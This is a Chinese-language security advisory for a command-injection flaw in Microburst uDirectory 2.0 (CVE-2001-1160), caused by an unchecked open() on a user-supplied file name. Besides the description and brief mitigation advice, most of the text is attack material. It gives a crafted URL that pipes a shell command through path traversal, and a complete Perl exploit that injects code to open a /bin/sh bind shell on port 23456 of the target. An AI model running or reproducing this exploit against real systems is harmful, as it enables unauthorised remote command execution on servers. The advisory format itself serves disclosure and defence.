发布日期：2001-06-18
更新日期：2001-06-25

受影响系统：

Microburst uDirectory 2.0

描述：

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BUGTRAQ  ID: 2884
CVE(CAN) ID: CVE-2001-1160

uDirectory 是一个在线目录和列表管理系统。

它在调用一个open()函数的时候，没有做全面的安全检查，允许攻击者提供一些特殊字符
以执行任意命令。

有问题的代码在检查重复列表的子函数中：

open (CATEGORY_FILE, $gData_directory . $category_file) ||
      &return_error("File Error","Unable to open " . $gData_directory . $category_file);

其中$category_file是由用户提供的。

<*来源：Igor Dobrovitski (noident@my-deja.com) *>



测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Igor Dobrovitski (noident@my-deja.com)提供了如下测试代码：

www.example.com/cgi-bin/udirectory.pl?MAIN_FIELD=blah&command=add_new_listing&
category_file=/../../../../../../../bin/ping+-c+2+x.x.x.x|'

或：

#!/usr/bin/perl -w
# management, e-commerce ... blah...
# exploit by Igor Dobrovitski noident@my-deja.com
# This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pl\n"}
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
print "Engaging the enemy. Please stand by...\n";
foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl')
{
    print "Trying $perl_path\n\n";
    my $cmd = $perl_path . ' -e \'' . $exec_code . '\'|';
    for(my $i=1;$i<=10;$i++)
    {
     print "try $i\n";
     $cmd = '/..' . $cmd;
     $form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah',
       'command' => 'add_new_listing' });
     my @reply = &send($form);
    }
}
&oops_the_sploit_did_not_work();

sub makeform
{
    my $string;
    my @blah;
    my $line  = '';
    my $here;
    my %data = %{$_[0]};
    foreach my $key (keys %data)
    {
        $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
    }
    $line =~ s|^(.*)BBBB$|$1|;
    $line =~ s/\\n/\n/g;
    $line =~ s/\\t/\t/g;
    $line =~ s/\\e/\e/g;
    $line =~ s/\\f/\f/g;
    $line =~ s/\\r/\r/g;
    $line =~ s/\\0/\0/g;
    foreach my $char (split //, $line)
    {
        if($char !~ m/[A-Za-z0-9._ ]/)
        {
            $char = unpack "H2", $char;
            $char = '%' . "$char";
        }
        push @blah, $char;
    }
    $string = join "",@blah;
    $string =~ s/AAAA/=/g;
    $string =~ s/BBBB/&/g;
    $string =~ s/ /+/g;
    my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len

$string
EOF
    return $here;
}

sub send
{
    my $form_to_send = shift;
    my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
    socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
    unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"; close(S); exit 1 }
    select(S);
    $|=1;
    print "$form_to_send";
    local $SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nBe good and hack wisely.\n"; exit };
    alarm(20);
    my @reply=<S>;
    select(STDOUT);
    close(S);
    return @reply;
}

sub oops_the_sploit_did_not_work
{
    print STDERR "The exploit didn't work on this host\nSorry...\n";
    exit;
}



建议：

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临时解决方法：

我们建议您增加对"../"和元字符的过滤。

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://www.uburst.com/uDirectory


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